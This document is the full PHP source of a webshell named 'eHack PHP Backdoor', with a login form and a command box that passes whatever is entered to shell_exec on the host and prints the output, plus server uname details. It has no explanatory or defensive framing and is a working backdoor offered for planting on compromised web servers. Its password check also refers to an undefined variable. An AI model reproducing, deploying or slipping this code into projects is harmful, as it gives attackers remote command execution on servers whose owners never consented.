eHack - webshell

<?php
session_start();

if(isset($_POST['password']) && $_POST['pass']){
    $pass=$_POST['pass'];

  if($pass== $password){

    $_SESSION['password']=$pass;
  }

else {

    $error="Incorrect password";
  }

  }

  if(isset($_GET['logout'])){
    unset($_SESSION['password']);
    header("Location: ?");
  }
?>

<html>
<title>eHack PHP Backdoor</title>
<link rel="shortcut icon" href="https://cdn.teguh.co/images/favicon.png">
<link href='https://fonts.googleapis.com/css?family=Oswald' rel='stylesheet' type='text/css'>
<link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
<link rel="stylesheet" href="https://cdn.teguh.co/css/hack.css">
</head>

<body>
<div align="center">
<pre>
  ___ ___                __
 /   |   \_____    ____ |  | __
/    ~    \__  \ _/ ___\|  |/ /
\    Y    // __ \\  \___|    <
 \___|_  /(____  /\___  >__|_ \
             \/      \/     \/     \/
</pre>
</div>

<div class="wrapper">
  <div class="panel panel-default">

  <h1>eHack PHP BACKDOOR</h1>
  <center><p><?php echo substr(php_uname(),0,120);?></p></center>
  <?php
    session_start();
    if($_SESSION['password']== $password)
{
    if (!empty($_POST['command'])) {
    $command = shell_exec($_POST['command']);
  }
 ?>
  <form  method="post" action="">
    <input type="text" class="command" placeholder="Please enter your command" name="command" id="command" value="<?= htmlspecialchars($_POST['command']) ?>" required>
    <div>
      <p class="name-help">Please enter your command</p>
    </div>
    <input type="submit" class="submit" value="Run">
  </form>
    <?php if ($command): ?>
        <div>
             <div align="center"><h1> Result </h1></div>
        </div><br>
        <textarea rows="10">
<?= htmlspecialchars($command) ?>
        </textarea>
<?php elseif (!$command && $_SERVER['REQUEST_METHOD'] == 'POST'): ?>
        <div>
            <center><h1> Result </h1></center>
        </div><br>
        <textarea rows="10">Oops, there is no result
<?php endif; ?>
        </textarea><br>
        <form method="post" action="" id="logout_form">
        <div align="center"><a href="?logout" id="confirm">LOGOUT</a></div>
 </form>
<?php
}
else
{
?>
<form  method="post" action="">
    <input type="password" class="password" placeholder="Password" name="pass">
    <input type="submit" name="password" class="submit" value="login">
    <div align="center"><br><p><?php echo $error; ?></p></div>
</form>
<?php
}
?>
</div>
</div>
<div align="center"><p>Made with <span style="color: #e25555;">&hearts;</span> by <a href="https://local-hunter.com">Teguh Aprianto</a></p></div>
</body>


</html>